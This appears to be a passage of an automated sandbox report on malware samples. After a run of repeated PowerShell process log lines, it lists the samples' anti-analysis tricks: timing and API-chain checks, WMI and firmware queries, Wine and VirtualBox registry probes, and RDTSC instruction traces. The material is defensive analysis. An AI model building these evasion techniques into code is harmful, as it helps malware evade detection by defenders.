Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe

Code function: 17_2_00408370

17_2_00408370

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_18-95831

Found evasive API chain (may stop execution after checking computer name)

Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe

Evasive API call chain: GetComputerName,DecisionNodes,ExitProcess

graph_17-54642

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_17-53360

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_17-53367

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 272E01 second address: 272E06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F061A second address: 3F066A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c ja 00007FE310CDC396h 0x00000012 jmp 00007FE310CDC3A1h 0x00000017 jmp 00007FE310CDC3A7h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jne 00007FE310CDC396h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F066A second address: 3F066E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F066E second address: 3F0676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F0676 second address: 3F067E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F07F6 second address: 3F0801 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F0801 second address: 3F0807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F0807 second address: 3F0819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FE310CDC398h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F0E13 second address: 3F0E26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE31118121Eh 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F0F7C second address: 3F0F82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F44B4 second address: 3F44C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F44C0 second address: 3F44C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F44C5 second address: 3F44CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F44CB second address: 3F4501 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov dword ptr [ebp+122D2F05h], ecx 0x00000012 push 00000000h 0x00000014 call 00007FE310CDC399h 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c jnp 00007FE310CDC396h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F4501 second address: 3F4505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F4505 second address: 3F4525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE310CDC3A8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F4525 second address: 3F4574 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE311181216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007FE311181228h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jng 00007FE31118121Ah 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f jnl 00007FE311181229h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F4574 second address: 3F45C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 ja 00007FE310CDC396h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jmp 00007FE310CDC39Ah 0x00000017 pop eax 0x00000018 or dword ptr [ebp+122D2D88h], esi 0x0000001e push 00000003h 0x00000020 stc 0x00000021 push 00000000h 0x00000023 mov dword ptr [ebp+122D361Ah], esi 0x00000029 push 00000003h 0x0000002b and esi, 38697D1Bh 0x00000031 add dword ptr [ebp+122D29E7h], ecx 0x00000037 push A506F156h 0x0000003c push eax 0x0000003d push edx 0x0000003e push ebx 0x0000003f jmp 00007FE310CDC39Eh 0x00000044 pop ebx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F45C7 second address: 3F4604 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE311181218h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 6506F156h 0x00000013 mov dword ptr [ebp+122D3537h], ecx 0x00000019 lea ebx, dword ptr [ebp+12455208h] 0x0000001f mov dh, 69h 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FE311181229h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3F4604 second address: 3F460E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FE310CDC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 415FCA second address: 415FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 415FCE second address: 415FD3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 415FD3 second address: 416000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jo 00007FE311181216h 0x0000000c jp 00007FE311181216h 0x00000012 jmp 00007FE311181223h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push esi 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 416000 second address: 416006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3E5609 second address: 3E560D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 413E6E second address: 413E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 413E74 second address: 413E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 414137 second address: 414173 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE310CDC3A2h 0x00000008 jnp 00007FE310CDC396h 0x0000000e jo 00007FE310CDC396h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jno 00007FE310CDC39Ch 0x0000001e jnp 00007FE310CDC3A8h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4142AD second address: 4142B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jl 00007FE311181216h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 41440F second address: 41444F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE310CDC3A6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FE310CDC3A3h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jnc 00007FE310CDC396h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 41444F second address: 414453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 414453 second address: 414457 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 41457F second address: 414589 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE311181216h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 414589 second address: 4145A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FE310CDC398h 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 jng 00007FE310CDC3A2h 0x00000016 jnl 00007FE310CDC396h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4146EA second address: 4146F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4146F0 second address: 414717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FE310CDC39Fh 0x0000000b jg 00007FE310CDC396h 0x00000011 popad 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 ja 00007FE310CDC398h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 414717 second address: 41471C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 414B12 second address: 414B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE310CDC3A5h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 414B30 second address: 414B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 414B36 second address: 414B4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC39Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 414E0B second address: 414E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE311181216h 0x0000000a je 00007FE31118121Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 414E1D second address: 414E26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 40BC17 second address: 40BC21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 40BC21 second address: 40BC40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FE310CDC3AEh 0x0000000b jmp 00007FE310CDC3A2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 40BC40 second address: 40BC48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4150C9 second address: 4150CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4150CF second address: 4150EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE311181224h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4159F6 second address: 4159FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4159FC second address: 415A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 415B20 second address: 415B57 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE310CDC396h 0x00000008 jnc 00007FE310CDC396h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 jnl 00007FE310CDC396h 0x0000001b push eax 0x0000001c pop eax 0x0000001d popad 0x0000001e jmp 00007FE310CDC3A9h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 415E36 second address: 415E3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 415E3C second address: 415E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d je 00007FE310CDC396h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FE310CDC3A6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4176F6 second address: 417702 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE311181216h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
